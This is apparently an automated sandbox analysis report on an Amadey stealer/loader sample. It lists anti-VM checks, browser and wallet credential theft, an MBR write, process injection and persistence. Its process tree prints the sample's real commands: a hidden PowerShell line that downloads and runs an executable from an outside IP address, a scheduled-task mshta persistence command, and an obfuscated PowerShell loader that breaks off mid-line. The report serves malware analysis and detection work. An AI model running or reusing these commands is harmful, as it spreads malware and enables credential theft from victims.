amadey | ddda70cdab79b119b205e60921ba6048887312cdd47741f9259fc4bc0c83a18a

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Fe36XBk.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ViGgA8C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	sHN20me.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	spoDnGT.exe

Blocklisted process makes network request 64 IoCs

flow	pid	Process
1	3592	powershell.exe
21	568	powershell.exe
22	568	powershell.exe
23	568	powershell.exe
24	568	powershell.exe
26	568	powershell.exe
29	568	powershell.exe
32	568	powershell.exe
34	568	powershell.exe
35	568	powershell.exe
36	568	powershell.exe
37	568	powershell.exe
38	568	powershell.exe
39	568	powershell.exe
40	568	powershell.exe
41	568	powershell.exe
42	568	powershell.exe
43	568	powershell.exe
44	568	powershell.exe
45	568	powershell.exe
46	568	powershell.exe
47	568	powershell.exe
48	568	powershell.exe
56	568	powershell.exe
57	568	powershell.exe
58	568	powershell.exe
59	568	powershell.exe
60	568	powershell.exe
61	568	powershell.exe
62	568	powershell.exe
63	568	powershell.exe
64	568	powershell.exe
69	568	powershell.exe
71	568	powershell.exe
73	568	powershell.exe
75	568	powershell.exe
76	568	powershell.exe
79	568	powershell.exe
80	568	powershell.exe
81	568	powershell.exe
82	568	powershell.exe
83	568	powershell.exe
84	568	powershell.exe
85	568	powershell.exe
86	568	powershell.exe
90	568	powershell.exe
91	568	powershell.exe
92	568	powershell.exe
95	568	powershell.exe
96	568	powershell.exe
97	568	powershell.exe
98	568	powershell.exe
99	568	powershell.exe
100	568	powershell.exe
101	568	powershell.exe
102	568	powershell.exe
103	568	powershell.exe
104	568	powershell.exe
105	568	powershell.exe
106	568	powershell.exe
107	568	powershell.exe
108	568	powershell.exe
110	568	powershell.exe
113	568	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3592	powershell.exe
1932	powershell.exe
4384	powershell.exe

Detects GOST tunneling tool 1 IoCs

A simple tunneling tool written in Golang

resource	yara_rule
behavioral4/files/0x001900000002adaf-1018.dat	Gost

Downloads MZ/PE file 17 IoCs

flow	pid	Process
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
4	2144	skotes.exe
1	3592	powershell.exe

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
4440	chrome.exe
3264	chrome.exe
4816	chrome.exe
2448	chrome.exe
3916	chrome.exe
3856	chrome.exe
680	chrome.exe
1204	chrome.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sHN20me.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sHN20me.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat	powershell.exe

Executes dropped EXE 24 IoCs

pid	Process
3248	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
2144	skotes.exe
2808	79905d6589.exe
4900	79905d6589.exe
3492	79905d6589.exe
1648	79905d6589.exe
3056	13Z5sqy.exe
4584	jonbDes.exe
4808	Bjkm5hE.exe
1308	Bjkm5hE.exe
1352	Bjkm5hE.exe
2480	Fe36XBk.exe
3504	ViGgA8C.exe
780	DTQCxXZ.exe
4332	skotes.exe
3780	TaVOM7x.exe
4544	d2YQIJa.exe
384	sHN20me.exe
1148	spoDnGT.exe
4688	m5UP2Yj.exe
3672	7aencsM.exe
1136	7aencsM.exe
428	7aencsM.exe
4668	C3hYpvm.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	spoDnGT.exe
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	Fe36XBk.exe
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	ViGgA8C.exe
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	d2YQIJa.exe
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	sHN20me.exe
Key opened	\REGISTRY\USER\S-1-5-21-580533235-1933962784-2718464258-1000\Software\Wine	m5UP2Yj.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	Fe36XBk.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
3248	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
2144	skotes.exe
2480	Fe36XBk.exe
3504	ViGgA8C.exe
4332	skotes.exe
4544	d2YQIJa.exe
384	sHN20me.exe
1148	spoDnGT.exe
4688	m5UP2Yj.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 2808 set thread context of 3492	2808	79905d6589.exe	88
PID 2808 set thread context of 1648	2808	79905d6589.exe	89
PID 4808 set thread context of 1308	4808	Bjkm5hE.exe	97
PID 4808 set thread context of 1352	4808	Bjkm5hE.exe	98
PID 3056 set thread context of 3332	3056	13Z5sqy.exe	115
PID 3672 set thread context of 1136	3672	7aencsM.exe	121
PID 3672 set thread context of 428	3672	7aencsM.exe	122

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
1892	2808	WerFault.exe	85
384	4808	WerFault.exe	96
4072	3672	WerFault.exe	120
3792	4688	WerFault.exe	119

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ViGgA8C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bjkm5hE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TaVOM7x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	79905d6589.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	13Z5sqy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DTQCxXZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sHN20me.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoDnGT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	79905d6589.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bjkm5hE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	79905d6589.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jonbDes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bjkm5hE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fe36XBk.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	m5UP2Yj.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	235	Go-http-client/1.1

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3548	schtasks.exe

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
3592	powershell.exe
3592	powershell.exe
3248	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
3248	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
2144	skotes.exe
2144	skotes.exe
1648	79905d6589.exe
1648	79905d6589.exe
1648	79905d6589.exe
1648	79905d6589.exe
3492	79905d6589.exe
3492	79905d6589.exe
3492	79905d6589.exe
3492	79905d6589.exe
1352	Bjkm5hE.exe
1352	Bjkm5hE.exe
1352	Bjkm5hE.exe
1352	Bjkm5hE.exe
1308	Bjkm5hE.exe
1308	Bjkm5hE.exe
1308	Bjkm5hE.exe
1308	Bjkm5hE.exe
2480	Fe36XBk.exe
2480	Fe36XBk.exe
4384	powershell.exe
4384	powershell.exe
568	powershell.exe
568	powershell.exe
1932	powershell.exe
1932	powershell.exe
3504	ViGgA8C.exe
3504	ViGgA8C.exe
3504	ViGgA8C.exe
780	DTQCxXZ.exe
780	DTQCxXZ.exe
780	DTQCxXZ.exe
780	DTQCxXZ.exe
3504	ViGgA8C.exe
4332	skotes.exe
4332	skotes.exe
4544	d2YQIJa.exe
4544	d2YQIJa.exe
384	sHN20me.exe
384	sHN20me.exe
384	sHN20me.exe
384	sHN20me.exe
384	sHN20me.exe
384	sHN20me.exe
4544	d2YQIJa.exe
4544	d2YQIJa.exe
4544	d2YQIJa.exe
4544	d2YQIJa.exe
1148	spoDnGT.exe
1148	spoDnGT.exe
1148	spoDnGT.exe
1148	spoDnGT.exe
1148	spoDnGT.exe
1148	spoDnGT.exe
4688	m5UP2Yj.exe
4688	m5UP2Yj.exe
4688	m5UP2Yj.exe
4688	m5UP2Yj.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	3504	ViGgA8C.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2356	random.exe
2356	random.exe
2356	random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2356	random.exe
2356	random.exe
2356	random.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 3916	2356	random.exe	77
PID 2356 wrote to memory of 3916	2356	random.exe	77
PID 2356 wrote to memory of 3916	2356	random.exe	77
PID 2356 wrote to memory of 3284	2356	random.exe	78
PID 2356 wrote to memory of 3284	2356	random.exe	78
PID 2356 wrote to memory of 3284	2356	random.exe	78
PID 3916 wrote to memory of 3548	3916	cmd.exe	80
PID 3916 wrote to memory of 3548	3916	cmd.exe	80
PID 3916 wrote to memory of 3548	3916	cmd.exe	80
PID 3284 wrote to memory of 3592	3284	mshta.exe	81
PID 3284 wrote to memory of 3592	3284	mshta.exe	81
PID 3284 wrote to memory of 3592	3284	mshta.exe	81
PID 3592 wrote to memory of 3248	3592	powershell.exe	83
PID 3592 wrote to memory of 3248	3592	powershell.exe	83
PID 3592 wrote to memory of 3248	3592	powershell.exe	83
PID 3248 wrote to memory of 2144	3248	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE	84
PID 3248 wrote to memory of 2144	3248	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE	84
PID 3248 wrote to memory of 2144	3248	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE	84
PID 2144 wrote to memory of 2808	2144	skotes.exe	85
PID 2144 wrote to memory of 2808	2144	skotes.exe	85
PID 2144 wrote to memory of 2808	2144	skotes.exe	85
PID 2808 wrote to memory of 4900	2808	79905d6589.exe	87
PID 2808 wrote to memory of 4900	2808	79905d6589.exe	87
PID 2808 wrote to memory of 4900	2808	79905d6589.exe	87
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 3492	2808	79905d6589.exe	88
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2808 wrote to memory of 1648	2808	79905d6589.exe	89
PID 2144 wrote to memory of 3056	2144	skotes.exe	94
PID 2144 wrote to memory of 3056	2144	skotes.exe	94
PID 2144 wrote to memory of 3056	2144	skotes.exe	94
PID 2144 wrote to memory of 4584	2144	skotes.exe	95
PID 2144 wrote to memory of 4584	2144	skotes.exe	95
PID 2144 wrote to memory of 4584	2144	skotes.exe	95
PID 2144 wrote to memory of 4808	2144	skotes.exe	96
PID 2144 wrote to memory of 4808	2144	skotes.exe	96
PID 2144 wrote to memory of 4808	2144	skotes.exe	96
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1308	4808	Bjkm5hE.exe	97
PID 4808 wrote to memory of 1352	4808	Bjkm5hE.exe	98
PID 4808 wrote to memory of 1352	4808	Bjkm5hE.exe	98
PID 4808 wrote to memory of 1352	4808	Bjkm5hE.exe	98
PID 4808 wrote to memory of 1352	4808	Bjkm5hE.exe	98

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn xbkwfmacM0W /tr "mshta C:\Users\Admin\AppData\Local\Temp\vGn4DKnt6.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn xbkwfmacM0W /tr "mshta C:\Users\Admin\AppData\Local\Temp\vGn4DKnt6.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3548
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\vGn4DKnt6.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3592
  - - C:\Users\Admin\AppData\Local\TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
      "C:\Users\Admin\AppData\Local\TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3248
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2144
      - C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe"
        7⤵
        Executes dropped EXE
        
        PID:4900
        
        C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\79905d6589.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 972
        7⤵
        Program crash
        
        PID:1892
      - C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3056
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3332
      - C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4584
      - C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4808
        
        C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1352
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4808 -s 984
        7⤵
        Program crash
        
        PID:384
      - C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2480
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1073578041\tYliuwV.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4384
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4768
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat';$MoqZ='DeKyLvcoKyLvmprKyLveKyLvssKyLv'.Replace('KyLv', ''),'EJwaGlemJwaGeJwaGnJwaGtJwaGAtJwaG'.Replace('JwaG', ''),'CrgSdPegSdPagSdPtgSdPegSdPDecgSdPrypgSdPtorgSdP'.Replace('gSdP', ''),'EnAUSatAUSaryAUSaPAUSaoiAUSantAUSa'.Replace('AUSa', ''),'RifKyeaifKydifKyLiifKyneifKysifKy'.Replace('ifKy', ''),'CoIpkTpyIpkTTIpkToIpkT'.Replace('IpkT', ''),'LRxQFoRxQFaRxQFdRxQF'.Replace('RxQF', ''),'ChPYPIanPYPIgPYPIePYPIExPYPItenPYPIsioPYPInPYPI'.Replace('PYPI', ''),'SplhjTaihjTathjTa'.Replace('hjTa', ''),'IVERYnvoVERYkeVERY'.Replace('VERY', ''),'MaGACXinMGACXoduGACXlGACXeGACX'.Replace('GACX', ''),'GetEffVCuEffVrreEffVnEffVtPEffVroEffVceEffVsEffVsEffV'.Replace('EffV', ''),'TrgFlMagFlMnsgFlMfogFlMrmgFlMFingFlMalgFlMBgFlMlogFlMcgFlMkgFlM'.Replace('gFlM', ''),'FZnjbroZnjbmBaZnjbseZnjb64ZnjbSZnjbtZnjbrinZnjbgZnjb'.Replace('Znjb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($MoqZ[11])().Modules;if 